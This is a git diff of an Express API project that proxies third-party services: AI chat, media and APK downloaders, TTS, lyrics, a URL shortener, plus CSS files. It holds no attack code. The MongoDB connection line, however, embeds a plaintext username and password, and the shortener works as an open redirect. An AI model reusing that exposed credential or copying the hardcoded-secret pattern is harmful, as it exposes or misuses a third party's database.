+app.get("/ai/deepseek-r1", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-r1+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + + + + +const TEMP_FOLDER = "tmp"; // Folder to store temporary PDFs + +// Ensure temp folder exists +if (!fs.existsSync(TEMP_FOLDER)) { + fs.mkdirSync(TEMP_FOLDER); +} + +// PDF Downloader API +app.get("/tools/pdf", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search term." + }); + } + + try { + // Step 1: Download PDF from the main API + const pdfUrl = `https://bk9.fun/tools/pdf?q=${encodeURIComponent(text)}`; + const pdfResponse = await axios.get(pdfUrl, { responseType: "arraybuffer" }); + + // Step 2: Generate a unique filename + const fileName = `${uuidv4()}.pdf`; + const filePath = path.join(TEMP_FOLDER, fileName); + + // Step 3: Save the PDF locally + fs.writeFileSync(filePath, pdfResponse.data); + + // Step 4: Schedule file deletion after 5 minutes + setTimeout(() => { + if (fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + console.log(`Deleted expired file: ${fileName}`); + } + }, 5 * 60 * 1000); // 5 minutes + + // Step 5: Return JSON response with download link + res.json({ + creator: "David Cyril", + status: 200, + success: true, + download: `https://apis.davidcyriltech.my.id/tmp/${fileName}` + }); + + } catch (error) { + console.error("Error downloading PDF:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + +// Serve static files from the tmp folder +app.use("/tmp", express.static(TEMP_FOLDER)); + + + +app.get("/download/apk", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide an APK name to search." + }); + } + + try { + // Step 1: Search for APK + const searchResponse = await axios.get(`https://bk9.fun/search/apk?q=${encodeURIComponent(text)}`); + const searchData = searchResponse.data; + + if (!searchData.BK9 || searchData.BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No APK found for your search." + }); + } + + const apkId = searchData.BK9[0].id; // Get the first APK result + + // Step 2: Download APK + const downloadResponse = await axios.get(`https://bk9.fun/download/apk?id=${apkId}`); + const apkData = downloadResponse.data.BK9; + + if (!apkData || !apkData.dllink) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to retrieve APK download link." + }); + } + + res.json({ + creator: "David Cyril", + success: true, + apk_name: apkData.name, + version: apkData.version, + size: apkData.size, + thumbnail: apkData.icon, + download_link: apkData.dllink + }); + + } catch (error) { + console.error("Error fetching APK:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Internal server error while fetching APK." + }); + } +}); + + +app.get("/ai/simi", async (req, res) => { + const query = req.query.query; + const lang = req.query.lang || "en"; + + if (!query) { + return res.status(400).json({ creator: "David Cyril", success: false, message: "Query parameter is required" }); + } + + try { + const { data } = await axios.get(`https://api.vreden.web.id/api/simi?query=${encodeURIComponent(query)}&lang=${lang}`); + res.json({ + creator: "David Cyril", + success: true, + result: data.result + }); + } catch (error) { + console.error("Error fetching Simi response:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/random/waifu", async (req, res) => { + try { + const { data } = await axios.get("https://api.vreden.web.id/api/waifu", { responseType: "arraybuffer" }); + res.set("Content-Type", "image/jpeg"); // Assuming the image is in JPEG format + res.send(data); + } catch (error) { + console.error("Error fetching waifu image:", error.message); + res.status(500).json({ creator: "David Cyril", success: false, message: "Internal server error" }); + } +}); + +app.get("/hentai", async (req, res) => { + try { + // Fetch data from the external API + const response = await axios.get("https://api.agatz.xyz/api/hentaivid"); + const data = response.data; + + if (!data || !data.data || data.data.length === 0) { + return res.status(404).json({ error: "No videos found." }); + } + + // Pick a random video from the list + const randomVideo = data.data[Math.floor(Math.random() * data.data.length)]; + + // Return the random video details + res.json({ + status: 200, + success: true, + creator: "David Cyril", + video: { + title: randomVideo.title, + category: randomVideo.category, + share_count: randomVideo.share_count, + views_count: randomVideo.views_count, + type: randomVideo.type, + video_1: randomVideo.video_1, + video_2: randomVideo.video_2, + link: randomVideo.link + } + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + +// MP3 Download Route +app.get('/youtube/mp3', async (req, res) => { + const { url } = req.query; // Get the video URL from the query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await ddownr.download(url, 'mp3'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result: result // Include the download result + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message // Include the error message + }); + } +}); + + + + + + +const TTS_VOICES = [ + { id: 1, name: "English (US) - Aria", code: "en-US-AriaNeural" }, + { id: 2, name: "English (US) - Guy", code: "en-US-GuyNeural" }, + { id: 3, name: "English (UK) - Libby", code: "en-GB-LibbyNeural" }, + { id: 4, name: "French - Eloise", code: "fr-FR-EloiseNeural" }, + { id: 5, name: "German - Klaus", code: "de-DE-KlausNeural" }, + { id: 6, name: "Spanish - Dario", code: "es-ES-DarioNeural" }, + { id: 7, name: "Japanese - Nanami", code: "ja-JP-NanamiNeural" }, + { id: 8, name: "Chinese - Xiaoxiao", code: "zh-CN-XiaoxiaoNeural" } +]; + +// **Endpoint to list available voices** +app.get("/tts/voices", (req, res) => { + res.json({ + creator: "David Cyril", + status: true, + voices: TTS_VOICES + }); +}); + +// **Endpoint to generate TTS audio** +app.get("/tts", async (req, res) => { + const { text, voiceId } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide text for speech synthesis." + }); + } + + const voice = TTS_VOICES.find(v => v.id == voiceId); + if (!voice) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid voice ID. Use /tts/voices to get available voices." + }); + } + + try { + const formData = new FormData(); + formData.append("locale", voice.code.split("-").slice(0, 2).join("-")); + formData.append("content", `${text}`); + formData.append("ip", "46.161.194.33"); + + const response = await axios.post("https://app.micmonster.com/restapi/create", formData, { + headers: formData.getHeaders() + }); + + const audioBuffer = Buffer.from(response.data.split(',')[1], "base64"); + + res.set({ + "Content-Type": "audio/mpeg", + "Content-Disposition": "inline; filename=tts.mp3" + }); + res.send(audioBuffer); + } catch (error) { + console.error("TTS Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to generate TTS. Please try again." + }); + } +}); + + + +// TikTok Downloader Route +app.get('/download/tiktok', async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing URL parameter', + }); + } + try { + const result = await tiktokdl(url); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching TikTok data:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +// TikTok Downloader Route +app.get('/ai/chatbot', async (req, res) => { + const { query } = req.query; + if (!query) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing QUERY parameter', + }); + } + try { + const result = await chatbot.send(query); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching chatbot data:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +app.get('/lyrics/search', async (req, res) => { + const { song } = req.query; + if (!song) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing song parameter', + }); + } + try { + const results = await lyrics.search(song); + if (results.length === 0) { + return res.status(404).json({ + creator: 'David Cyril Tech', + status: 404, + success: false, + error: 'No lyrics found for the requested song', + }); + } + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + results, + }); + } catch (error) { + console.error('Error searching for lyrics:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +app.get('/lyrics/details', async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Missing URL parameter', + }); + } + try { + const result = await Lyrics.getLyrics(url); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result, + }); + } catch (error) { + console.error('Error fetching lyrics details:', error); + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: 'Internal Server Error', + }); + } +}); + +// Lyrics API (Same old endpoint) +app.get("/lyrics2", async (req, res) => { + const { t: title, a: artist } = req.query; + + if (!title || !artist) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide both the title (`t`) and artist (`a`) of the song." + }); + } + + try { + // Using the new API but keeping old response format + const apiUrl = `https://archive-ui.tanakadomp.biz.id/search/lirik?q=${encodeURIComponent(title)}%20by%20${encodeURIComponent(artist)}`; + const response = await axios.get(apiUrl); + + if (response.data?.result?.lyrics) { + res.status(200).json({ + creator: "David Cyril", + title: response.data.result.title || title, + artist: artist, + lyrics: response.data.result.lyrics + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Lyrics not found in the database." + }); + } + } catch (error) { + console.error("Error fetching lyrics:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while fetching lyrics." + }); + } +}); + + + + +// Ephoto API Endpoint Mapping +const ephotoEndpoints = { + glitchtext: 'https://en.ephoto360.com/create-digital-glitch-text-effects-online-767.html', + writetext: 'https://en.ephoto360.com/write-text-on-wet-glass-online-589.html', + advancedglow: 'https://en.ephoto360.com/advanced-glow-effects-74.html', + typographytext: 'https://en.ephoto360.com/create-typography-text-effect-on-pavement-online-774.html', + pixelglitch: 'https://en.ephoto360.com/create-pixel-glitch-text-effect-online-769.html', + neonglitch: 'https://en.ephoto360.com/create-impressive-neon-glitch-text-effects-online-768.html', + flagtext: 'https://en.ephoto360.com/nigeria-3d-flag-text-effect-online-free-753.html', + flag3dtext: 'https://en.ephoto360.com/free-online-american-flag-3d-text-effect-generator-725.html', + deletingtext: 'https://en.ephoto360.com/create-eraser-deleting-text-effect-online-717.html', + blackpinkstyle: 'https://en.ephoto360.com/online-blackpink-style-logo-maker-effect-711.html', + glowingtext: 'https://en.ephoto360.com/create-glowing-text-effects-online-706.html', + underwatertext: 'https://en.ephoto360.com/3d-underwater-text-effect-online-682.html', + logomaker: 'https://en.ephoto360.com/free-bear-logo-maker-online-673.html', + cartoonstyle: 'https://en.ephoto360.com/create-a-cartoon-style-graffiti-text-effect-online-668.html', + papercutstyle: 'https://en.ephoto360.com/multicolor-3d-paper-cut-style-text-effect-658.html', + watercolortext: 'https://en.ephoto360.com/create-a-watercolor-text-effect-online-655.html', + effectclouds: 'https://en.ephoto360.com/write-text-effect-clouds-in-the-sky-online-619.html', + blackpinklogo: 'https://en.ephoto360.com/create-blackpink-logo-online-free-607.html', + gradienttext: 'https://en.ephoto360.com/create-3d-gradient-text-effect-online-600.html', + summerbeach: 'https://en.ephoto360.com/write-in-sand-summer-beach-online-free-595.html', + luxurygold: 'https://en.ephoto360.com/create-a-luxury-gold-text-effect-online-594.html', + multicoloredneon: 'https://en.ephoto360.com/create-multicolored-neon-light-signatures-591.html', + sandsummer: 'https://en.ephoto360.com/write-in-sand-summer-beach-online-576.html', + galaxywallpaper: 'https://en.ephoto360.com/create-galaxy-wallpaper-mobile-online-528.html', + '1917style': 'https://en.ephoto360.com/1917-style-text-effect-523.html', + makingneon: 'https://en.ephoto360.com/making-neon-light-text-effect-with-galaxy-style-521.html', + royaltext: 'https://en.ephoto360.com/royal-text-effect-online-free-471.html', + freecreate: 'https://en.ephoto360.com/free-create-a-3d-hologram-text-effect-441.html', + galaxystyle: 'https://en.ephoto360.com/create-galaxy-style-free-name-logo-438.html', + lighteffects: 'https://en.ephoto360.com/create-light-effects-green-neon-online-429.html', +}; + +// Function to interact with the Ephoto360 API +async function ephoto(link, text) { + try { + const response = await axios.post(link, { text }); // Adjust as per API requirements + return response.data.imageUrl; // Replace with the actual key for the generated image URL + } catch (error) { + console.error(`Error fetching Ephoto360: ${error.message}`); + throw new Error("Failed to generate image. Please try again later."); + } +} + +app.get('/api/ephoto/:effect', async (req, res) => { + const { effect } = req.params; // Extract effect from URL + const { text } = req.query; // Extract text from query parameters + + // Validate the text parameter + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the text using the `text` query parameter.", + }); + } + + // Validate the effect parameter + const link = ephotoEndpoints[effect]; + if (!link) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Invalid effect name. Please check the available effects.", + }); + } + + try { + // Fetch the generated image URL + const imageUrl = await ephoto(link, text); + + // Redirect to the generated image URL + res.redirect(imageUrl); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while generating the image.", + }); + } +}); + + +app.get("/imdb", async (req, res) => { + const { query } = req.query; + + // Validate the query parameter + if (!query) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Please provide a `query` parameter." + }); + } + + try { + // API call to Popcat's IMDb Search + const apiUrl = `https://api.popcat.xyz/imdb?q=${encodeURIComponent(query)}`; + const response = await axios.get(apiUrl); + + // Process the response + if (response.data) { + return res.status(200).json({ + status: true, + creator: "David Cyril", + query, + movie: { + title: response.data.title, + year: response.data.year, + rated: response.data.rated, + released: response.data.released, + runtime: response.data.runtime, + genres: response.data.genres, + director: response.data.director, + writer: response.data.writer, + actors: response.data.actors, + plot: response.data.plot, + languages: response.data.languages, + country: response.data.country, + awards: response.data.awards, + poster: response.data.poster, + ratings: response.data.ratings, + metascore: response.data.metascore, + imdbRating: response.data.rating, + votes: response.data.votes, + boxoffice: response.data.boxoffice, + imdbUrl: response.data.imdburl + } + }); + } else { + return res.status(404).json({ + status: false, + creator: "David Cyril", + error: "No movie found for the provided query." + }); + } + } catch (error) { + console.error("Error fetching movie details:", error.message); + return res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + +app.get("/mediafire", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the MediaFire URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.agatz.xyz/api/mediafire?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.status === 200 && response.data.data.length > 0) { + const fileData = response.data.data[0]; + + res.status(200).json({ + creator: "David Cyril", + fileName: fileData.nama, + mimeType: fileData.mime, + size: fileData.size, + downloadLink: fileData.link, + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "File information could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching MediaFire file:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + + + + + + + +app.get('/record/convert', async (req, res) => { + const { url } = req.query; // Extract URL from query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await svweb.recording(url, 1, '--convert'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + filePath: result.filePath, + message: 'Video has been successfully saved.', + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message + }); + } +}); + +// Route for Video Recording (Raw Data) +app.get('/record/raw', async (req, res) => { + const { url } = req.query; // Extract URL from query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await svweb.recording(url, 1, '--unconvert'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + type: result.type, + data: result.data, + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message + }); + } +}); + + + + + + + + +// 🔗 MongoDB Connection +mongoose + .connect("mongodb+srv://deeceexxx01:85200555@cluster0.h2n93.mongodb.net/?retryWrites=true&w=majority&appName=Cluster0", { + useNewUrlParser: true, + useUnifiedTopology: true, + }) + .then(() => console.log("✅ Connected to MongoDB")) + .catch((err) => console.error("❌ MongoDB connection error:", err)); + +// 🌍 Base URL for shortened links +const BASE_URL = "https://apis.davidcyriltech.my.id"; + +// 🔖 URL Schema +const urlSchema = new mongoose.Schema({ + originalUrl: String, + shortCode: String, + createdAt: { type: Date, default: Date.now }, +}); +const URL = mongoose.model("URL", urlSchema); + +// ✂️ API to Shorten URLs using GET +app.get("/shorten", async (req, res) => { + const url = req.query.url; + if (!url) return res.status(400).json({ error: "URL is required" }); + + let existingUrl = await URL.findOne({ originalUrl: url }); + if (existingUrl) { + return res.json({ + creator: "David Cyril", + success: true, + shortUrl: `${BASE_URL}/${existingUrl.shortCode}` }); + } + + const shortCode = shortid.generate(); + const newUrl = new URL({ originalUrl: url, shortCode }); + await newUrl.save(); + + res.json({ + creator: 'David Cyril', + success: true, + shortUrl: `${BASE_URL}/${shortCode}` }); +}); + +// 🔀 Redirect to Original URL +app.get("/:shortCode", async (req, res) => { + const { shortCode } = req.params; + const foundUrl = await URL.findOne({ shortCode }); + + if (foundUrl) { + return res.redirect(foundUrl.originalUrl); + } else { + return res.status(404).json({ error: "Short URL not found" }); + } +}); + + + +// 404 Handler +app.use((req, res) => { + res.status(404).sendFile(path.join(__dirname, 'public/404/index.html')); +}); + +// Start Server +app.listen(port, () => { + console.log(`Server running on port ${port}`); +}); \ No newline at end of file diff --git a/keys.json b/keys.json new file mode 100644 index 0000000000000000000000000000000000000000..fe51488c7066f6687ef680d6bfaa4f7768ef205c --- /dev/null +++ b/keys.json @@ -0,0 +1 @@ +[] diff --git a/package.json b/package.json new file mode 100644 index 0000000000000000000000000000000000000000..3cf7fd1047b7f4c93ee74dd83b43082d37e3ba68 --- /dev/null +++ b/package.json @@ -0,0 +1,58 @@ +{ + "name": "david-cyril--api", + "version": "1.0.0", + "description": "David Cyril Apis", + "main": "./index.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "start": "pm2 start index.js --attach --name cyrilapi", + "stop": "pm2 stop cyrilapi", + "restart": "pm2 restart cyrilapi" + }, + "keywords": [ + "youtube", + "tiktok", + "downloader", + "api", + "nodejs", + "express" + ], + "author": "David Cyril Tech", + "license": "MIT", + "dependencies": { + "axios": "^1.7.3", + "body-parser": "^1.20.3", + "bcrypt": "^5.1.1", + "cheerio": "^0.22.0", + "cors": "^2.8.5", + "crypto": "^1.0.1", + "dotenv": "^16.4.5", + "express": "^4.19.2", + "express-flash": "^0.0.2", + "express-session": "^1.18.1", + "fs": "^0.0.1-security", + "jsonwebtoken": "^9.0.2", + "@faouzkk/lyrics-finder": "^1.0.3", + "js-confuser": "^2.0.0", + "http": "^0.0.1-security", + "@vitalets/google-translate-api": "^8.0.0", + "mongoose": "^6.2.1", + "mrnima-moviedl": "1.0.0", + "node-fetch": "^3.3.2", + "os": "latest", + "path": "^0.12.7", + "pm2": "^5.4.3", + "puppeteer": "latest", + "sqlite3": "^5.1.6", + "shortid": "^2.2.17", + "uuid": "^11.0.5", + "undici": "^7.5.0", + "url": "^0.11.4", + "@dark-yasiya/nexara": "^1.0.0", + "qs": "^6.14.0", + "qrcode": "^1.5.3", + "user-agents": "^1.0.106", + "yt-search": "2.12.1" + } +} diff --git a/package.json.bak b/package.json.bak new file mode 100644 index 0000000000000000000000000000000000000000..64a5f983bf9c27debe309d776c70fe345aa1ba1e --- /dev/null +++ b/package.json.bak @@ -0,0 +1,56 @@ +{ + "name": "david-cyril--api", + "version": "1.0.0", + "description": "David Cyril Apis", + "main": "./index.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "start": "pm2 start index.js --attach --name cyrilapi", + "stop": "pm2 stop cyrilapi", + "restart": "pm2 restart cyrilapi" + }, + "keywords": [ + "youtube", + "tiktok", + "downloader", + "api", + "nodejs", + "express" + ], + "author": "David Cyril Tech", + "license": "MIT", + "dependencies": { + "axios": "^1.7.3", + "body-parser": "^1.20.3", + "bcrypt": "^5.1.1", + "cheerio": "^0.22.0", + "cors": "^2.8.5", + "crypto": "^1.0.1", + "dotenv": "^16.4.5", + "express": "^4.19.2", + "express-flash": "^0.0.2", + "express-session": "^1.18.1", + "fs": "^0.0.1-security", + "jsonwebtoken": "^9.0.2", + "http": "^0.0.1-security", + "@vitalets/google-translate-api": "^8.0.0", + "mongoose": "^6.2.1", + "mrnima-moviedl": "1.0.0", + "multer": "^1.4.5-lts.1", + "node-fetch": "^3.3.2", + "os": "latest", + "path": "^0.12.7", + "pm2": "^5.4.3", + "puppeteer": "latest", + "sqlite3": "^5.1.6", + "sqlite3": "^5.1.6", + "shortid": "^2.2.17", + "uuid": "^11.0.5", + "url": "^0.11.4", + "qs": "^6.14.0", + "qrcode": "^1.5.3", + "user-agents": "^1.0.106", + "yt-search": "2.12.1" + } +} \ No newline at end of file diff --git a/public/404/index.html b/public/404/index.html new file mode 100644 index 0000000000000000000000000000000000000000..7b0fd25134bf3ccc6122bac085dde316f1969b18 --- /dev/null +++ b/public/404/index.html @@ -0,0 +1,42 @@ + + + + + + DAVID CYRIL API + + + + +
+ + diff --git a/public/css/dashboard.css b/public/css/dashboard.css new file mode 100644 index 0000000000000000000000000000000000000000..67a7559391fe4352cf54a35f041c9a8d277f400e --- /dev/null +++ b/public/css/dashboard.css @@ -0,0 +1,41 @@ +body { + font-family: Arial, sans-serif; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; + background-color: #f4f4f4; +} + +.container { + text-align: center; + background: white; + padding: 30px; + border-radius: 10px; + box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1); +} + +h1 { + font-size: 24px; + color: #333; +} + +p { + color: #666; +} + +.logout-button { + display: inline-block; + margin-top: 20px; + padding: 10px 20px; + color: white; + background-color: #007BFF; + text-decoration: none; + border-radius: 5px; +} + +.logout-button:hover { + background-color: #0056b3; +} \ No newline at end of file diff --git a/public/css/list.css b/public/css/list.css new file mode 100644 index 0000000000000000000000000000000000000000..5a513a3ae341c7efb922213a5e53790a1d21ed6b --- /dev/null +++ b/public/css/list.css @@ -0,0 +1,335 @@ +.menu-slide { + transition: transform 0.3s ease; + transform: translateX(-100%); + height: 100vh; + } + .menu-slide.active { + transform: translateX(0); + } + .loading-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + justify-content: center; + align-items: center; + z-index: 9999; + opacity: 0; + visibility: hidden; + transition: opacity 0.3s, visibility 0.3s; +} + +.loading-overlay.show { + opacity: 1; + visibility: visible; +} + +.loading-spinner { + text-align: center; +} + +.spinner { + width: 50px; + height: 50px; + border: 3px solid rgba(255, 255, 255, 0.3); + border-radius: 50%; + border-top-color: #fff; + animation: spin 1s ease-in-out infinite; + margin: 0 auto 20px; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.loading-spinner p { + color: #fff; + font-size: 18px; + margin: 0; + font-family: Arial, sans-serif; +} +.api-group { + margin-top: 20px; + border-radius: 5px; + overflow: hidden; + box-shadow: 0 0 20px rgba(0, 0, 0, 0.1); + transition: all 0.3s ease-in-out; */ +} + +.group-header { + display: flex; + justify-content: space-between; + align-items: center; + padding: 15px; + background-color: #2a2a2a; + color: #fff; + cursor: pointer; +} + +.group-header h2 { + margin: 0; + font-size: 1.2em; +} + +.group-content { + display: none; +} + +.group-content.expanded { + display: block; +} + +.expand-btn { + background-color: transparent; + border: none; + color: #fff; + font-size: 1.2em; + cursor: pointer; +} + +.table-container { + width: 100%; + overflow-x: auto; + margin-bottom: 20px; +} + +table { + width: 100%; + min-width: 600px; + border-collapse: collapse; + border-spacing: 0; +} + +th, td { + padding: 12px; + text-align: center; + border: 1px solid #ddd; +} + +td { + text-align: center; /* Mengatur semua konten sel ke tengah */ + vertical-align: middle; /* Mengatur konten vertikal ke tengah */ +} + +.btn-check { + display: block; + margin: 0 auto; /* Mengatur margin otomatis di kiri dan kanan */ + background-color: #2ecc71; + color: white; + border: none; + padding: 8px 12px; + border-radius: 4px; + cursor: pointer; + transition: background-color 0.3s; + font-size: 14px; + width: 100px; + text-align: center; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.btn-check:hover { + background-color: #27ae60; +} + +.btn-close { + background-color: #e74c3c; + color: white; + border: none; + padding: 7px; + border-radius: 4px; + cursor: pointer; + margin-top: 8px; +} + +.btn-close:hover { + background-color: #c0392b; +} + +.success { + color: #2ecc71; +} + +.error { + color: #e74c3c; +} + +@keyframes ring { + 0% { transform: translateX(0); } + 25% { transform: translateX(-5px); } + 50% { transform: translateX(5px); } + 75% { transform: translateX(0); } + 100% { transform: translateX(0); } +} + + .popup-menu { + display: none; /* Hidden by default */ + position: fixed; /* Fixed position to cover the entire screen */ + top: 0; /* Align to the top */ + left: 0; /* Align to the left */ + width: 100%; /* Full width */ + height: 100%; /* Full height */ + background-color: rgba(0, 0, 0, 0.8); /* Semi-transparent background */ + justify-content: center; /* Center the content horizontally */ + align-items: center; /* Center the content vertically */ + z-index: 1000; /* Ensure it appears above other elements */ + } + + .popup-contents { + font-family: "Baskervville SC", serif; + background-color: #1a1a1a; /* Background color for the popup */ + color: #fff; + width: 80%;/* Text color */ + border-radius: 10px; + border: 2px solid magenta; + box-shadow: 0 0 10px rgba(250, 195, 235, 1.0);/* Rounded corners */ + padding: 20px; /* Padding inside the popup */ + text-align: center; /* Center text */ + position: relative; /* For positioning the close button */ + } + + .popup-contents img { + padding: 8px; + max-width: 90%; /* Responsive image */ + height: auto; /* Maintain aspect ratio */ + border-radius: 5px; /* Rounded corners for the image */ + } + + .popup-contents p { + font-size: 13px; + } + + .close-button { + position: absolute; /* Position the close button */ + top: 10px; /* Distance from the top */ + right: 10px; /* Distance from the right */ + background: none; /* No background */ + border: none; /* No border */ + color: #fff; /* White color */ + font-size: 1.5em; /* Size of the close button */ + cursor: pointer; /* Pointer cursor */ + } + +.endpoint-description { + width: 100%; + margin-top: 20px; + padding: 10px; + background-color: #f0f0f0; + border-radius: 5px; + font-size: 10px; + line-height: 1.4; +} + +.popup-overlay { + display: none; + color: black; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.5); + justify-content: center; + align-items: center; + z-index: 1001; +} + +.popup-content { + background-color: black; + padding: 20px; + border: 2px solid white; + border-radius: 5px; + width: 300px; /* Atur lebar sesuai kebutuhan */ + max-width: 90%; + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); +} + +.popup-content form { + display: flex; + flex-direction: column; + gap: 10px; + width: 100%; +} + +.popup-content input, +.popup-content .btn-submit, +.popup-content .btn-close { + width: 100%; + box-sizing: border-box; + padding: 10px; + border: 1px solid #ddd; + border-radius: 4px; + font-size: 14px; +} + +.popup-content .btn-submit, +.popup-content .btn-close { + cursor: pointer; + transition: background-color 0.3s; +} + +.popup-content .btn-submit { + color: white; + border: none; +} + +.popup-content .btn-close { + background-color: #e74c3c; + color: white; + border: none; + margin-top: 8px; +} + +.popup-content .btn-submit:hover { + background-color: #2980b9; +} + +.popup-content .btn-close:hover { + background-color: #c0392b; +} + +.btn-submit { + color: white; + border: none; + padding: 7px; + border-radius: 4px; + cursor: pointer; + transition: background-color 0.3s; +} + +.btn-submit:hover { + background-color: #2980b9; +} + +pre { + white-space: pre-wrap; + word-wrap: break-word; + background-color: #f4f4f4; + padding: 10px; + border-radius: 4px; + max-height: 400px; + overflow-y: auto; +} + +.nnm { + font-size: 20px; + margin: 5px; + color: #fff; +} + +input { + margin: 4px; +} + +.current-link { + background-color: #f0f0f0; + border: none; + padding: 8px 12px; + border-radius: 4px; + margin-top: 10px; + word-break: break-all; +} \ No newline at end of file diff --git a/public/css/login.css b/public/css/login.css new file mode 100644 index 0000000000000000000000000000000000000000..e3555ec05b171b65fa7cdd3047b122ae246a9ab3 --- /dev/null +++ b/public/css/login.css @@ -0,0 +1,107 @@ +body { + font-family: Arial, sans-serif; + background-color: #f4f4f4; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.container { + max-width: 350px; + background: #F8F9FD; + background: linear-gradient(0deg, rgb(255, 255, 255) 0%, rgb(244, 247, 251) 100%); + border-radius: 40px; + padding: 25px 35px; + border: 5px solid rgb(255, 255, 255); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 30px 30px -20px; + margin: 20px; +} + +h1 { + text-align: center; + font-weight: bold; + font-size: 30px; + color: rgb(16, 137, 211); +} + +#messages { + margin: 10px 0; + text-align: center; +} + +.error { + color: red; + font-size: 14px; + margin-bottom: 10px; +} + +.success { + color: green; + font-size: 14px; + margin-bottom: 10px; +} + +.form { + margin-top: 20px; +} + +input { + width: 100%; + background: white; + border: none; + padding: 15px 20px; + border-radius: 20px; + margin-top: 15px; + box-shadow: #cff0ff 0px 10px 10px -5px; + border-inline: 2px solid transparent; +} + +input::placeholder { + color: rgb(170, 170, 170); +} + +input:focus { + outline: none; + border-inline: 2px solid #12B1D1; +} + +button { + display: block; + width: 100%; + font-weight: bold; + background: linear-gradient(45deg, 